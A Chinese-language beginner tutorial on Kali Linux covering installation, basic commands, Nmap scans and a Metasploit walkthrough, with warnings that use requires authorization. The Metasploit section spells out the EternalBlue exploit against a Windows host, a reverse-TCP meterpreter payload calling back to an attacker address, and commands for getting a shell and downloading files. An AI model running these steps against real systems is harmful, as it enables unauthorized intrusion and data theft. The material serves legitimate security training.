Kali Linux 入门教程

Kali Linux 入门教程

渗透测试与安全研究的专业Linux发行版

Kali Linux 简介

Kali Linux 是一个基于 Debian 的 Linux 发行版,专为数字取证和渗透测试设计。它由 Offensive Security 公司维护和资助,预装了数百种安全工具。

注意: Kali Linux 是一个强大的工具,仅应在合法授权的安全测试中使用。未经授权使用这些工具可能是非法的。

安装 Kali Linux

系统要求

安装方法

  1. 从官方下载 Kali Linux 镜像: https://www.kali.org/get-kali/
  2. 创建启动 USB:
    # 使用 dd 命令 (Linux/Mac)
    dd if=kali-linux-2023.4-installer-amd64.iso of=/dev/sdb bs=4M status=progress
    
    # Windows 用户可以使用 Rufus 工具
  3. 从 USB 启动并按照安装向导操作

基本命令

系统信息

uname -a                  # 显示系统信息
lsb_release -a            # 显示发行版信息
cat /etc/os-release       # 显示 OS 信息
df -h                     # 显示磁盘空间
free -h                   # 显示内存使用情况

包管理

sudo apt update           # 更新包列表
sudo apt upgrade          # 升级所有已安装的包
sudo apt install <package> # 安装新包
sudo apt remove <package>  # 移除包
sudo apt autoremove       # 移除不再需要的依赖

常用工具概览

信息收集

漏洞分析

密码攻击

Nmap 使用示例

# 基本扫描
nmap -sV 192.168.1.1

# 全面扫描 (包括 OS 检测, 脚本扫描,  traceroute)
nmap -A 192.168.1.1

# 扫描特定端口
nmap -p 80,443,22 192.168.1.1

# 扫描整个子网
nmap 192.168.1.0/24

# 使用 NSE 脚本扫描漏洞
nmap --script vuln 192.168.1.1

Metasploit 使用示例

# 启动 Metasploit 控制台
msfconsole

# 搜索漏洞利用模块
search eternalblue

# 使用模块
use exploit/windows/smb/ms17_010_eternalblue

# 设置目标
set RHOSTS 192.168.1.100

# 设置 payload
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10

# 执行攻击
exploit

# 在 meterpreter 会话中的常用命令
sysinfo              # 获取系统信息
shell                # 获取系统 shell
download <file>     # 下载文件
upload <file>       # 上传文件

警告: 这些命令仅用于合法的渗透测试,在未经授权的情况下使用这些技术是违法的。

学习资源

问题反馈